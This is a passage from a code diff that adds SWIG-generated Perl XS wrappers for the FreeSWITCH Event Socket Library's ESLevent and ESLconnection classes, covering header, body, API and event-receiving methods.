+    result = (char *)(arg1)->getHeader((char const *)arg2);
+    ST(argvi) = SWIG_FromCharPtr((const char *)result); argvi++ ;
+    
+    if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+    XSRETURN(argvi);
+  fail:
+    
+    if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+    SWIG_croak_null();
+  }
+}
+
+
+XS(_wrap_ESLevent_getBody) {
+  {
+    ESLevent *arg1 = (ESLevent *) 0 ;
+    char *result = 0 ;
+    void *argp1 = 0 ;
+    int res1 = 0 ;
+    int argvi = 0;
+    dXSARGS;
+    
+    if ((items < 1) || (items > 1)) {
+      SWIG_croak("Usage: ESLevent_getBody(self);");
+    }
+    res1 = SWIG_ConvertPtr(ST(0), &argp1,SWIGTYPE_p_ESLevent, 0 |  0 );
+    if (!SWIG_IsOK(res1)) {
+      SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "ESLevent_getBody" "', argument " "1"" of type '" "ESLevent *""'"); 
+    }
+    arg1 = reinterpret_cast< ESLevent * >(argp1);
+    result = (char *)(arg1)->getBody();
+    ST(argvi) = SWIG_FromCharPtr((const char *)result); argvi++ ;
+    
+    XSRETURN(argvi);
+  fail:
+    
+    SWIG_croak_null();
+  }
+}
+
+
+XS(_wrap_ESLevent_getType) {
+  {
+    ESLevent *arg1 = (ESLevent *) 0 ;
+    char *result = 0 ;
+    void *argp1 = 0 ;
+    int res1 = 0 ;
+    int argvi = 0;
+    dXSARGS;
+    
+    if ((items < 1) || (items > 1)) {
+      SWIG_croak("Usage: ESLevent_getType(self);");
+    }
+    res1 = SWIG_ConvertPtr(ST(0), &argp1,SWIGTYPE_p_ESLevent, 0 |  0 );
+    if (!SWIG_IsOK(res1)) {
+      SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "ESLevent_getType" "', argument " "1"" of type '" "ESLevent *""'"); 
+    }
+    arg1 = reinterpret_cast< ESLevent * >(argp1);
+    result = (char *)(arg1)->getType();
+    ST(argvi) = SWIG_FromCharPtr((const char *)result); argvi++ ;
+    
+    XSRETURN(argvi);
+  fail:
+    
+    SWIG_croak_null();
+  }
+}
+
+
+XS(_wrap_ESLevent_addBody) {
+  {
+    ESLevent *arg1 = (ESLevent *) 0 ;
+    char *arg2 = (char *) 0 ;
+    bool result;
+    void *argp1 = 0 ;
+    int res1 = 0 ;
+    int res2 ;
+    char *buf2 = 0 ;
+    int alloc2 = 0 ;
+    int argvi = 0;
+    dXSARGS;
+    
+    if ((items < 2) || (items > 2)) {
+      SWIG_croak("Usage: ESLevent_addBody(self,value);");
+    }
+    res1 = SWIG_ConvertPtr(ST(0), &argp1,SWIGTYPE_p_ESLevent, 0 |  0 );
+    if (!SWIG_IsOK(res1)) {
+      SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "ESLevent_addBody" "', argument " "1"" of type '" "ESLevent *""'"); 
+    }
+    arg1 = reinterpret_cast< ESLevent * >(argp1);
+    res2 = SWIG_AsCharPtrAndSize(ST(1), &buf2, NULL, &alloc2);
+    if (!SWIG_IsOK(res2)) {
+      SWIG_exception_fail(SWIG_ArgError(res2), "in method '" "ESLevent_addBody" "', argument " "2"" of type '" "char const *""'");
+    }
+    arg2 = reinterpret_cast< char * >(buf2);
+    result = (bool)(arg1)->addBody((char const *)arg2);
+    ST(argvi) = SWIG_From_bool  SWIG_PERL_CALL_ARGS_1(static_cast< bool >(result)); argvi++ ;
+    
+    if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+    XSRETURN(argvi);
+  fail:
+    
+    if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+    SWIG_croak_null();
+  }
+}
+
+
+XS(_wrap_ESLevent_addHeader) {
+  {
+    ESLevent *arg1 = (ESLevent *) 0 ;
+    char *arg2 = (char *) 0 ;
+    char *arg3 = (char *) 0 ;
+    bool result;
+    void *argp1 = 0 ;
+    int res1 = 0 ;
+    int res2 ;
+    char *buf2 = 0 ;
+    int alloc2 = 0 ;
+    int res3 ;
+    char *buf3 = 0 ;
+    int alloc3 = 0 ;
+    int argvi = 0;
+    dXSARGS;
+    
+    if ((items < 3) || (items > 3)) {
+      SWIG_croak("Usage: ESLevent_addHeader(self,header_name,value);");
+    }
+    res1 = SWIG_ConvertPtr(ST(0), &argp1,SWIGTYPE_p_ESLevent, 0 |  0 );
+    if (!SWIG_IsOK(res1)) {
+      SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "ESLevent_addHeader" "', argument " "1"" of type '" "ESLevent *""'"); 
+    }
+    arg1 = reinterpret_cast< ESLevent * >(argp1);
+    res2 = SWIG_AsCharPtrAndSize(ST(1), &buf2, NULL, &alloc2);
+    if (!SWIG_IsOK(res2)) {
+      SWIG_exception_fail(SWIG_ArgError(res2), "in method '" "ESLevent_addHeader" "', argument " "2"" of type '" "char const *""'");
+    }
+    arg2 = reinterpret_cast< char * >(buf2);
+    res3 = SWIG_AsCharPtrAndSize(ST(2), &buf3, NULL, &alloc3);
+    if (!SWIG_IsOK(res3)) {
+      SWIG_exception_fail(SWIG_ArgError(res3), "in method '" "ESLevent_addHeader" "', argument " "3"" of type '" "char const *""'");
+    }
+    arg3 = reinterpret_cast< char * >(buf3);
+    result = (bool)(arg1)->addHeader((char const *)arg2,(char const *)arg3);
+    ST(argvi) = SWIG_From_bool  SWIG_PERL_CALL_ARGS_1(static_cast< bool >(result)); argvi++ ;
+    
+    if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+    if (alloc3 == SWIG_NEWOBJ) delete[] buf3;
+    XSRETURN(argvi);
+  fail:
+    
+    if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+    if (alloc3 == SWIG_NEWOBJ) delete[] buf3;
+    SWIG_croak_null();
+  }
+}
+
+
+XS(_wrap_ESLevent_delHeader) {
+  {
+    ESLevent *arg1 = (ESLevent *) 0 ;
+    char *arg2 = (char *) 0 ;
+    bool result;
+    void *argp1 = 0 ;
+    int res1 = 0 ;
+    int res2 ;
+    char *buf2 = 0 ;
+    int alloc2 = 0 ;
+    int argvi = 0;
+    dXSARGS;
+    
+    if ((items < 2) || (items > 2)) {
+      SWIG_croak("Usage: ESLevent_delHeader(self,header_name);");
+    }
+    res1 = SWIG_ConvertPtr(ST(0), &argp1,SWIGTYPE_p_ESLevent, 0 |  0 );
+    if (!SWIG_IsOK(res1)) {
+      SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "ESLevent_delHeader" "', argument " "1"" of type '" "ESLevent *""'"); 
+    }
+    arg1 = reinterpret_cast< ESLevent * >(argp1);
+    res2 = SWIG_AsCharPtrAndSize(ST(1), &buf2, NULL, &alloc2);
+    if (!SWIG_IsOK(res2)) {
+      SWIG_exception_fail(SWIG_ArgError(res2), "in method '" "ESLevent_delHeader" "', argument " "2"" of type '" "char const *""'");
+    }
+    arg2 = reinterpret_cast< char * >(buf2);
+    result = (bool)(arg1)->delHeader((char const *)arg2);
+    ST(argvi) = SWIG_From_bool  SWIG_PERL_CALL_ARGS_1(static_cast< bool >(result)); argvi++ ;
+    
+    if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+    XSRETURN(argvi);
+  fail:
+    
+    if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+    SWIG_croak_null();
+  }
+}
+
+
+XS(_wrap_ESLevent_firstHeader) {
+  {
+    ESLevent *arg1 = (ESLevent *) 0 ;
+    char *result = 0 ;
+    void *argp1 = 0 ;
+    int res1 = 0 ;
+    int argvi = 0;
+    dXSARGS;
+    
+    if ((items < 1) || (items > 1)) {
+      SWIG_croak("Usage: ESLevent_firstHeader(self);");
+    }
+    res1 = SWIG_ConvertPtr(ST(0), &argp1,SWIGTYPE_p_ESLevent, 0 |  0 );
+    if (!SWIG_IsOK(res1)) {
+      SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "ESLevent_firstHeader" "', argument " "1"" of type '" "ESLevent *""'"); 
+    }
+    arg1 = reinterpret_cast< ESLevent * >(argp1);
+    result = (char *)(arg1)->firstHeader();
+    ST(argvi) = SWIG_FromCharPtr((const char *)result); argvi++ ;
+    
+    XSRETURN(argvi);
+  fail:
+    
+    SWIG_croak_null();
+  }
+}
+
+
+XS(_wrap_ESLevent_nextHeader) {
+  {
+    ESLevent *arg1 = (ESLevent *) 0 ;
+    char *result = 0 ;
+    void *argp1 = 0 ;
+    int res1 = 0 ;
+    int argvi = 0;
+    dXSARGS;
+    
+    if ((items < 1) || (items > 1)) {
+      SWIG_croak("Usage: ESLevent_nextHeader(self);");
+    }
+    res1 = SWIG_ConvertPtr(ST(0), &argp1,SWIGTYPE_p_ESLevent, 0 |  0 );
+    if (!SWIG_IsOK(res1)) {
+      SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "ESLevent_nextHeader" "', argument " "1"" of type '" "ESLevent *""'"); 
+    }
+    arg1 = reinterpret_cast< ESLevent * >(argp1);
+    result = (char *)(arg1)->nextHeader();
+    ST(argvi) = SWIG_FromCharPtr((const char *)result); argvi++ ;
+    
+    XSRETURN(argvi);
+  fail:
+    
+    SWIG_croak_null();
+  }
+}
+
+
+XS(_wrap_new_ESLconnection__SWIG_0) {
+  {
+    char *arg1 = (char *) 0 ;
+    char *arg2 = (char *) 0 ;
+    char *arg3 = (char *) 0 ;
+    ESLconnection *result = 0 ;
+    int res1 ;
+    char *buf1 = 0 ;
+    int alloc1 = 0 ;
+    int res2 ;
+    char *buf2 = 0 ;
+    int alloc2 = 0 ;
+    int res3 ;
+    char *buf3 = 0 ;
+    int alloc3 = 0 ;
+    int argvi = 0;
+    dXSARGS;
+    
+    if ((items < 3) || (items > 3)) {
+      SWIG_croak("Usage: new_ESLconnection(host,port,password);");
+    }
+    res1 = SWIG_AsCharPtrAndSize(ST(0), &buf1, NULL, &alloc1);
+    if (!SWIG_IsOK(res1)) {
+      SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "new_ESLconnection" "', argument " "1"" of type '" "char const *""'");
+    }
+    arg1 = reinterpret_cast< char * >(buf1);
+    res2 = SWIG_AsCharPtrAndSize(ST(1), &buf2, NULL, &alloc2);
+    if (!SWIG_IsOK(res2)) {
+      SWIG_exception_fail(SWIG_ArgError(res2), "in method '" "new_ESLconnection" "', argument " "2"" of type '" "char const *""'");
+    }
+    arg2 = reinterpret_cast< char * >(buf2);
+    res3 = SWIG_AsCharPtrAndSize(ST(2), &buf3, NULL, &alloc3);
+    if (!SWIG_IsOK(res3)) {
+      SWIG_exception_fail(SWIG_ArgError(res3), "in method '" "new_ESLconnection" "', argument " "3"" of type '" "char const *""'");
+    }
+    arg3 = reinterpret_cast< char * >(buf3);
+    result = (ESLconnection *)new ESLconnection((char const *)arg1,(char const *)arg2,(char const *)arg3);
+    ST(argvi) = SWIG_NewPointerObj(SWIG_as_voidptr(result), SWIGTYPE_p_ESLconnection, SWIG_OWNER | SWIG_SHADOW); argvi++ ;
+    if (alloc1 == SWIG_NEWOBJ) delete[] buf1;
+    if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+    if (alloc3 == SWIG_NEWOBJ) delete[] buf3;
+    XSRETURN(argvi);
+  fail:
+    if (alloc1 == SWIG_NEWOBJ) delete[] buf1;
+    if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+    if (alloc3 == SWIG_NEWOBJ) delete[] buf3;
+    SWIG_croak_null();
+  }
+}
+
+
+XS(_wrap_new_ESLconnection__SWIG_1) {
+  {
+    int arg1 ;
+    ESLconnection *result = 0 ;
+    int val1 ;
+    int ecode1 = 0 ;
+    int argvi = 0;
+    dXSARGS;
+    
+    if ((items < 1) || (items > 1)) {
+      SWIG_croak("Usage: new_ESLconnection(socket);");
+    }
+    ecode1 = SWIG_AsVal_int SWIG_PERL_CALL_ARGS_2(ST(0), &val1);
+    if (!SWIG_IsOK(ecode1)) {
+      SWIG_exception_fail(SWIG_ArgError(ecode1), "in method '" "new_ESLconnection" "', argument " "1"" of type '" "int""'");
+    } 
+    arg1 = static_cast< int >(val1);
+    result = (ESLconnection *)new ESLconnection(arg1);
+    ST(argvi) = SWIG_NewPointerObj(SWIG_as_voidptr(result), SWIGTYPE_p_ESLconnection, SWIG_OWNER | SWIG_SHADOW); argvi++ ;
+    
+    XSRETURN(argvi);
+  fail:
+    
+    SWIG_croak_null();
+  }
+}
+
+
+XS(_wrap_new_ESLconnection) {
+  dXSARGS;
+  
+  {
+    unsigned long _index = 0;
+    SWIG_TypeRank _rank = 0; 
+    if (items == 1) {
+      SWIG_TypeRank _ranki = 0;
+      SWIG_TypeRank _rankm = 0;
+      SWIG_TypeRank _pi = 1;
+      int _v = 0;
+      {
+        {
+          int res = SWIG_AsVal_int SWIG_PERL_CALL_ARGS_2(ST(0), NULL);
+          _v = SWIG_CheckState(res);
+        }
+      }
+      if (!_v) goto check_1;
+      _ranki += _v*_pi;
+      _rankm += _pi;
+      _pi *= SWIG_MAXCASTRANK;
+      if (!_index || (_ranki < _rank)) {
+        _rank = _ranki; _index = 1;
+        if (_rank == _rankm) goto dispatch;
+      }
+    }
+  check_1:
+    
+    if (items == 3) {
+      SWIG_TypeRank _ranki = 0;
+      SWIG_TypeRank _rankm = 0;
+      SWIG_TypeRank _pi = 1;
+      int _v = 0;
+      {
+        int res = SWIG_AsCharPtrAndSize(ST(0), 0, NULL, 0);
+        _v = SWIG_CheckState(res);
+      }
+      if (!_v) goto check_2;
+      _ranki += _v*_pi;
+      _rankm += _pi;
+      _pi *= SWIG_MAXCASTRANK;
+      {
+        int res = SWIG_AsCharPtrAndSize(ST(1), 0, NULL, 0);
+        _v = SWIG_CheckState(res);
+      }
+      if (!_v) goto check_2;
+      _ranki += _v*_pi;
+      _rankm += _pi;
+      _pi *= SWIG_MAXCASTRANK;
+      {
+        int res = SWIG_AsCharPtrAndSize(ST(2), 0, NULL, 0);
+        _v = SWIG_CheckState(res);
+      }
+      if (!_v) goto check_2;
+      _ranki += _v*_pi;
+      _rankm += _pi;
+      _pi *= SWIG_MAXCASTRANK;
+      if (!_index || (_ranki < _rank)) {
+        _rank = _ranki; _index = 2;
+        if (_rank == _rankm) goto dispatch;
+      }
+    }
+  check_2:
+    
+  dispatch:
+    switch(_index) {
+    case 1:
+      ++PL_markstack_ptr; SWIG_CALLXS(_wrap_new_ESLconnection__SWIG_1); return;
+    case 2:
+      ++PL_markstack_ptr; SWIG_CALLXS(_wrap_new_ESLconnection__SWIG_0); return;
+    }
+  }
+  
+  croak("No matching function for overloaded 'new_ESLconnection'");
+  XSRETURN(0);
+}
+
+
+XS(_wrap_delete_ESLconnection) {
+  {
+    ESLconnection *arg1 = (ESLconnection *) 0 ;
+    void *argp1 = 0 ;
+    int res1 = 0 ;
+    int argvi = 0;
+    dXSARGS;
+    
+    if ((items < 1) || (items > 1)) {
+      SWIG_croak("Usage: delete_ESLconnection(self);");
+    }
+    res1 = SWIG_ConvertPtr(ST(0), &argp1,SWIGTYPE_p_ESLconnection, SWIG_POINTER_DISOWN |  0 );
+    if (!SWIG_IsOK(res1)) {
+      SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "delete_ESLconnection" "', argument " "1"" of type '" "ESLconnection *""'"); 
+    }
+    arg1 = reinterpret_cast< ESLconnection * >(argp1);
+    delete arg1;
+    
+    
+    
+    XSRETURN(argvi);
+  fail:
+    
+    SWIG_croak_null();
+  }
+}
+
+
+XS(_wrap_ESLconnection_socketDescriptor) {
+  {
+    ESLconnection *arg1 = (ESLconnection *) 0 ;
+    int result;
+    void *argp1 = 0 ;
+    int res1 = 0 ;
+    int argvi = 0;
+    dXSARGS;
+    
+    if ((items < 1) || (items > 1)) {
+      SWIG_croak("Usage: ESLconnection_socketDescriptor(self);");
+    }
+    res1 = SWIG_ConvertPtr(ST(0), &argp1,SWIGTYPE_p_ESLconnection, 0 |  0 );
+    if (!SWIG_IsOK(res1)) {
+      SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "ESLconnection_socketDescriptor" "', argument " "1"" of type '" "ESLconnection *""'"); 
+    }
+    arg1 = reinterpret_cast< ESLconnection * >(argp1);
+    result = (int)(arg1)->socketDescriptor();
+    ST(argvi) = SWIG_From_int  SWIG_PERL_CALL_ARGS_1(static_cast< int >(result)); argvi++ ;
+    
+    XSRETURN(argvi);
+  fail:
+    
+    SWIG_croak_null();
+  }
+}
+
+
+XS(_wrap_ESLconnection_connected) {
+  {
+    ESLconnection *arg1 = (ESLconnection *) 0 ;
+    int result;
+    void *argp1 = 0 ;
+    int res1 = 0 ;
+    int argvi = 0;
+    dXSARGS;
+    
+    if ((items < 1) || (items > 1)) {
+      SWIG_croak("Usage: ESLconnection_connected(self);");
+    }
+    res1 = SWIG_ConvertPtr(ST(0), &argp1,SWIGTYPE_p_ESLconnection, 0 |  0 );
+    if (!SWIG_IsOK(res1)) {
+      SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "ESLconnection_connected" "', argument " "1"" of type '" "ESLconnection *""'"); 
+    }
+    arg1 = reinterpret_cast< ESLconnection * >(argp1);
+    result = (int)(arg1)->connected();
+    ST(argvi) = SWIG_From_int  SWIG_PERL_CALL_ARGS_1(static_cast< int >(result)); argvi++ ;
+    
+    XSRETURN(argvi);
+  fail:
+    
+    SWIG_croak_null();
+  }
+}
+
+
+XS(_wrap_ESLconnection_getInfo) {
+  {
+    ESLconnection *arg1 = (ESLconnection *) 0 ;
+    ESLevent *result = 0 ;
+    void *argp1 = 0 ;
+    int res1 = 0 ;
+    int argvi = 0;
+    dXSARGS;
+    
+    if ((items < 1) || (items > 1)) {
+      SWIG_croak("Usage: ESLconnection_getInfo(self);");
+    }
+    res1 = SWIG_ConvertPtr(ST(0), &argp1,SWIGTYPE_p_ESLconnection, 0 |  0 );
+    if (!SWIG_IsOK(res1)) {
+      SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "ESLconnection_getInfo" "', argument " "1"" of type '" "ESLconnection *""'"); 
+    }
+    arg1 = reinterpret_cast< ESLconnection * >(argp1);
+    result = (ESLevent *)(arg1)->getInfo();
+    ST(argvi) = SWIG_NewPointerObj(SWIG_as_voidptr(result), SWIGTYPE_p_ESLevent, SWIG_OWNER | SWIG_SHADOW); argvi++ ;
+    
+    XSRETURN(argvi);
+  fail:
+    
+    SWIG_croak_null();
+  }
+}
+
+
+XS(_wrap_ESLconnection_send) {
+  {
+    ESLconnection *arg1 = (ESLconnection *) 0 ;
+    char *arg2 = (char *) 0 ;
+    int result;
+    void *argp1 = 0 ;
+    int res1 = 0 ;
+    int res2 ;
+    char *buf2 = 0 ;
+    int alloc2 = 0 ;
+    int argvi = 0;
+    dXSARGS;
+    
+    if ((items < 2) || (items > 2)) {
+      SWIG_croak("Usage: ESLconnection_send(self,cmd);");
+    }
+    res1 = SWIG_ConvertPtr(ST(0), &argp1,SWIGTYPE_p_ESLconnection, 0 |  0 );
+    if (!SWIG_IsOK(res1)) {
+      SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "ESLconnection_send" "', argument " "1"" of type '" "ESLconnection *""'"); 
+    }
+    arg1 = reinterpret_cast< ESLconnection * >(argp1);
+    res2 = SWIG_AsCharPtrAndSize(ST(1), &buf2, NULL, &alloc2);
+    if (!SWIG_IsOK(res2)) {
+      SWIG_exception_fail(SWIG_ArgError(res2), "in method '" "ESLconnection_send" "', argument " "2"" of type '" "char const *""'");
+    }
+    arg2 = reinterpret_cast< char * >(buf2);
+    result = (int)(arg1)->send((char const *)arg2);
+    ST(argvi) = SWIG_From_int  SWIG_PERL_CALL_ARGS_1(static_cast< int >(result)); argvi++ ;
+    
+    if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+    XSRETURN(argvi);
+  fail:
+    
+    if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+    SWIG_croak_null();
+  }
+}
+
+
+XS(_wrap_ESLconnection_sendRecv) {
+  {
+    ESLconnection *arg1 = (ESLconnection *) 0 ;
+    char *arg2 = (char *) 0 ;
+    ESLevent *result = 0 ;
+    void *argp1 = 0 ;
+    int res1 = 0 ;
+    int res2 ;
+    char *buf2 = 0 ;
+    int alloc2 = 0 ;
+    int argvi = 0;
+    dXSARGS;
+    
+    if ((items < 2) || (items > 2)) {
+      SWIG_croak("Usage: ESLconnection_sendRecv(self,cmd);");
+    }
+    res1 = SWIG_ConvertPtr(ST(0), &argp1,SWIGTYPE_p_ESLconnection, 0 |  0 );
+    if (!SWIG_IsOK(res1)) {
+      SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "ESLconnection_sendRecv" "', argument " "1"" of type '" "ESLconnection *""'"); 
+    }
+    arg1 = reinterpret_cast< ESLconnection * >(argp1);
+    res2 = SWIG_AsCharPtrAndSize(ST(1), &buf2, NULL, &alloc2);
+    if (!SWIG_IsOK(res2)) {
+      SWIG_exception_fail(SWIG_ArgError(res2), "in method '" "ESLconnection_sendRecv" "', argument " "2"" of type '" "char const *""'");
+    }
+    arg2 = reinterpret_cast< char * >(buf2);
+    result = (ESLevent *)(arg1)->sendRecv((char const *)arg2);
+    ST(argvi) = SWIG_NewPointerObj(SWIG_as_voidptr(result), SWIGTYPE_p_ESLevent, SWIG_OWNER | SWIG_SHADOW); argvi++ ;
+    
+    if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+    XSRETURN(argvi);
+  fail:
+    
+    if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+    SWIG_croak_null();
+  }
+}
+
+
+XS(_wrap_ESLconnection_api) {
+  {
+    ESLconnection *arg1 = (ESLconnection *) 0 ;
+    char *arg2 = (char *) 0 ;
+    char *arg3 = (char *) NULL ;
+    ESLevent *result = 0 ;
+    void *argp1 = 0 ;
+    int res1 = 0 ;
+    int res2 ;
+    char *buf2 = 0 ;
+    int alloc2 = 0 ;
+    int res3 ;
+    char *buf3 = 0 ;
+    int alloc3 = 0 ;
+    int argvi = 0;
+    dXSARGS;
+    
+    if ((items < 2) || (items > 3)) {
+      SWIG_croak("Usage: ESLconnection_api(self,cmd,arg);");
+    }
+    res1 = SWIG_ConvertPtr(ST(0), &argp1,SWIGTYPE_p_ESLconnection, 0 |  0 );
+    if (!SWIG_IsOK(res1)) {
+      SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "ESLconnection_api" "', argument " "1"" of type '" "ESLconnection *""'"); 
+    }
+    arg1 = reinterpret_cast< ESLconnection * >(argp1);
+    res2 = SWIG_AsCharPtrAndSize(ST(1), &buf2, NULL, &alloc2);
+    if (!SWIG_IsOK(res2)) {
+      SWIG_exception_fail(SWIG_ArgError(res2), "in method '" "ESLconnection_api" "', argument " "2"" of type '" "char const *""'");
+    }
+    arg2 = reinterpret_cast< char * >(buf2);
+    if (items > 2) {
+      res3 = SWIG_AsCharPtrAndSize(ST(2), &buf3, NULL, &alloc3);
+      if (!SWIG_IsOK(res3)) {
+        SWIG_exception_fail(SWIG_ArgError(res3), "in method '" "ESLconnection_api" "', argument " "3"" of type '" "char const *""'");
+      }
+      arg3 = reinterpret_cast< char * >(buf3);
+    }
+    result = (ESLevent *)(arg1)->api((char const *)arg2,(char const *)arg3);
+    ST(argvi) = SWIG_NewPointerObj(SWIG_as_voidptr(result), SWIGTYPE_p_ESLevent, SWIG_OWNER | SWIG_SHADOW); argvi++ ;
+    
+    if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+    if (alloc3 == SWIG_NEWOBJ) delete[] buf3;
+    XSRETURN(argvi);
+  fail:
+    
+    if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+    if (alloc3 == SWIG_NEWOBJ) delete[] buf3;
+    SWIG_croak_null();
+  }
+}
+
+
+XS(_wrap_ESLconnection_bgapi) {
+  {
+    ESLconnection *arg1 = (ESLconnection *) 0 ;
+    char *arg2 = (char *) 0 ;
+    char *arg3 = (char *) NULL ;
+    ESLevent *result = 0 ;
+    void *argp1 = 0 ;
+    int res1 = 0 ;
+    int res2 ;
+    char *buf2 = 0 ;
+    int alloc2 = 0 ;
+    int res3 ;
+    char *buf3 = 0 ;
+    int alloc3 = 0 ;
+    int argvi = 0;
+    dXSARGS;
+    
+    if ((items < 2) || (items > 3)) {
+      SWIG_croak("Usage: ESLconnection_bgapi(self,cmd,arg);");
+    }
+    res1 = SWIG_ConvertPtr(ST(0), &argp1,SWIGTYPE_p_ESLconnection, 0 |  0 );
+    if (!SWIG_IsOK(res1)) {
+      SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "ESLconnection_bgapi" "', argument " "1"" of type '" "ESLconnection *""'"); 
+    }
+    arg1 = reinterpret_cast< ESLconnection * >(argp1);
+    res2 = SWIG_AsCharPtrAndSize(ST(1), &buf2, NULL, &alloc2);
+    if (!SWIG_IsOK(res2)) {
+      SWIG_exception_fail(SWIG_ArgError(res2), "in method '" "ESLconnection_bgapi" "', argument " "2"" of type '" "char const *""'");
+    }
+    arg2 = reinterpret_cast< char * >(buf2);
+    if (items > 2) {
+      res3 = SWIG_AsCharPtrAndSize(ST(2), &buf3, NULL, &alloc3);
+      if (!SWIG_IsOK(res3)) {
+        SWIG_exception_fail(SWIG_ArgError(res3), "in method '" "ESLconnection_bgapi" "', argument " "3"" of type '" "char const *""'");
+      }
+      arg3 = reinterpret_cast< char * >(buf3);
+    }
+    result = (ESLevent *)(arg1)->bgapi((char const *)arg2,(char const *)arg3);
+    ST(argvi) = SWIG_NewPointerObj(SWIG_as_voidptr(result), SWIGTYPE_p_ESLevent, SWIG_OWNER | SWIG_SHADOW); argvi++ ;
+    
+    if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+    if (alloc3 == SWIG_NEWOBJ) delete[] buf3;
+    XSRETURN(argvi);
+  fail:
+    
+    if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+    if (alloc3 == SWIG_NEWOBJ) delete[] buf3;
+    SWIG_croak_null();
+  }
+}
+
+
+XS(_wrap_ESLconnection_sendEvent) {
+  {
+    ESLconnection *arg1 = (ESLconnection *) 0 ;
+    ESLevent *arg2 = (ESLevent *) 0 ;
+    int result;
+    void *argp1 = 0 ;
+    int res1 = 0 ;
+    void *argp2 = 0 ;
+    int res2 = 0 ;
+    int argvi = 0;
+    dXSARGS;
+    
+    if ((items < 2) || (items > 2)) {
+      SWIG_croak("Usage: ESLconnection_sendEvent(self,send_me);");
+    }
+    res1 = SWIG_ConvertPtr(ST(0), &argp1,SWIGTYPE_p_ESLconnection, 0 |  0 );
+    if (!SWIG_IsOK(res1)) {
+      SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "ESLconnection_sendEvent" "', argument " "1"" of type '" "ESLconnection *""'"); 
+    }
+    arg1 = reinterpret_cast< ESLconnection * >(argp1);
+    res2 = SWIG_ConvertPtr(ST(1), &argp2,SWIGTYPE_p_ESLevent, 0 |  0 );
+    if (!SWIG_IsOK(res2)) {
+      SWIG_exception_fail(SWIG_ArgError(res2), "in method '" "ESLconnection_sendEvent" "', argument " "2"" of type '" "ESLevent *""'"); 
+    }
+    arg2 = reinterpret_cast< ESLevent * >(argp2);
+    result = (int)(arg1)->sendEvent(arg2);
+    ST(argvi) = SWIG_From_int  SWIG_PERL_CALL_ARGS_1(static_cast< int >(result)); argvi++ ;
+    
+    
+    XSRETURN(argvi);
+  fail:
+    
+    
+    SWIG_croak_null();
+  }
+}
+
+
+XS(_wrap_ESLconnection_recvEvent) {
+  {
+    ESLconnection *arg1 = (ESLconnection *) 0 ;
+    ESLevent *result = 0 ;
+    void *argp1 = 0 ;
+    int res1 = 0 ;
+    int argvi = 0;
+    dXSARGS;
+    
+    if ((items < 1) || (items > 1)) {
+      SWIG_croak("Usage: ESLconnection_recvEvent(self);");
+    }
+    res1 = SWIG_ConvertPtr(ST(0), &argp1,SWIGTYPE_p_ESLconnection, 0 |  0 );
+    if (!SWIG_IsOK(res1)) {
+      SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "ESLconnection_recvEvent" "', argument " "1"" of type '" "ESLconnection *""'"); 
+    }
+    arg1 = reinterpret_cast< ESLconnection * >(argp1);
+    result = (ESLevent *)(arg1)->recvEvent();
+    ST(argvi) = SWIG_NewPointerObj(SWIG_as_voidptr(result), SWIGTYPE_p_ESLevent, SWIG_OWNER | SWIG_SHADOW); argvi++ ;
+    
+    XSRETURN(argvi);
+  fail:
+    
+    SWIG_croak_null();
+  }
+}
+
+
+XS(_wrap_ESLconnection_recvEventTimed) {
+  {
+    ESLconnection *arg1 = (ESLconnection *) 0 ;
+    int arg2 ;
+    ESLevent *result = 0 ;
+    void *argp1 = 0 ;
+    int res1 = 0 ;
+    int val2 ;
+    int ecode2 = 0 ;
+    int argvi = 0;
+    dXSARGS;
+    
+    if ((items < 2) || (items > 2)) {
+      SWIG_croak("Usage: ESLconnection_recvEventTimed(self,ms);");
+    }
+    res1 = SWIG_ConvertPtr(ST(0), &argp1,SWIGTYPE_p_ESLconnection, 0 |  0 );
+    if (!SWIG_IsOK(res1)) {
+      SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "ESLconnection_recvEventTimed" "', argument " "1"" of type '" "ESLconnection *""'"); 
+    }
+    arg1 = reinterpret_cast< ESLconnection * >(argp1);
+    ecode2 = SWIG_AsVal_int SWIG_PERL_CALL_ARGS_2(ST(1), &val2);
+    if (!SWIG_IsOK(ecode2)) {
+      SWIG_exception_fail(SWIG_ArgError(ecode2), "in method '" "ESLconnection_recvEventTimed" "', argument " "2"" of type '" "int""'");
+    } 
+    arg2 = static_cast< int >(val2);
+    result = (ESLevent *)(arg1)->recvEventTimed(arg2);
+    ST(argvi) = SWIG_NewPointerObj(SWIG_as_voidptr(result), SWIGTYPE_p_ESLevent, SWIG_OWNER | SWIG_SHADOW); argvi++ ;
+    
+    
+    XSRETURN(argvi);
+  fail:
+    
+    
+    SWIG_croak_null();
+  }
+}
+
+
+XS(_wrap_ESLconnection_filter) {
+  {
